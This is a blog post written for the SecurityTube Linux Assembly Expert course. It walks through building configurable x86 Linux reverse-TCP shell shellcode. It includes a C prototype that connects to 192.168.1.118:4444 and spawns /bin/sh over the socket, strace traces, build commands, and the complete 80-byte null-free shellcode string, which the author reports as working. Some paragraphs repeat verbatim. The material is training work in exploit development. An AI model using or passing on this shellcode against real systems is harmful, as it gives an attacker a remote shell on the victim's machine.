Hello again, this is part two of seven for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments which I'll be posting on here.
The first assignment task was to create a shell bind TCP shellcode, where the port number is easily configurable, this second one follows on from that and the task is to create a reverse-connect shellcode where the port and ip of host to connect back to are also easily configurable.
We will begin like last time, with a C program to mimic the desired functionality and use strace to identify the required syscalls;
Magic - this should be easier than the bind shellcode - less syscalls to make :-) I'll use the bind.asm as a template and change where required.
It can be found here: https://github.com/pabb85/SLAE/blob/master/reverse.asm
This worked nicely - I altered the bind call into a connect and updated the parameters, got rid of listen and accept calls and it built nicely into an 80 byte shellcode, no nulls. The IP and port can be easily configured by altering lines 27 and 28, bearing in mind the reverse byte order and also restriction on nulls - 192.168.0.1 wouldn't work for example as the third octet is a null and would be 0x0100a8c0. This could be worked around by using a simple crypter which is to follow in a later exercise.
The first assignment task was to create a shell bind TCP shellcode, where the port number is easily configurable, this second one follows on from that and the task is to create a reverse-connect shellcode where the port and ip of host to connect back to are also easily configurable.
We will begin like last time, with a C program to mimic the desired functionality and use strace to identify the required syscalls;
paul@SLAE001:~$ cat reverse.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
void main(void)
{
int sockfd;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = 0x7601a8c0; // 192.168.1.118
addr.sin_port = 0x5c11; // 4444
sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, &addr, sizeof(addr));
// dup2 stdin, stdout and stderr to sockfd
dup2(sockfd, 2);
dup2(sockfd, 1);
dup2(sockfd, 0);
execve("/bin/sh", 0, 0);
}
paul@SLAE001:~$ gcc reverse.c -o reverse
...
paul@SLAE001:~$ strace ./reverse
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.1.118")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("/bin/sh", [0], [/* 0 vars */]) = 0
...
paul@SLAE001:~$ strace -e raw=all ./reverse
...
socket(0x2, 0x1, 0) = 0x3
connect(0x3, 0xbf98243c, 0x10) = -1 (errno 111)
dup2(0x3, 0x2) = 0x2
dup2(0x3, 0x1) = 0x1
dup2(0x3, 0) = 0
execve(0x8048670, 0, 0) = 0
...
Magic - this should be easier than the bind shellcode - less syscalls to make :-) I'll use the bind.asm as a template and change where required.
It can be found here: https://github.com/pabb85/SLAE/blob/master/reverse.asm
This worked nicely - I altered the bind call into a connect and updated the parameters, got rid of listen and accept calls and it built nicely into an 80 byte shellcode, no nulls. The IP and port can be easily configured by altering lines 27 and 28, bearing in mind the reverse byte order and also restriction on nulls - 192.168.0.1 wouldn't work for example as the third octet is a null and would be 0x0100a8c0. This could be worked around by using a simple crypter which is to follow in a later exercise.
paul@SLAE001:~$ nasm -f elf32 reverse.asm -o reverse.o
paul@SLAE001:~$ ld reverse.o -o reverse
paul@SLAE001:~$ objdump -d ./reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x03\x68\xc0\xa8\x01\x76\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
paul@SLAE001:~$ perl -e 'print "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x03\x68\xc0\xa8\x01\x76\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";' | wc -c
80
Reverse-shell shellcode working :-)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.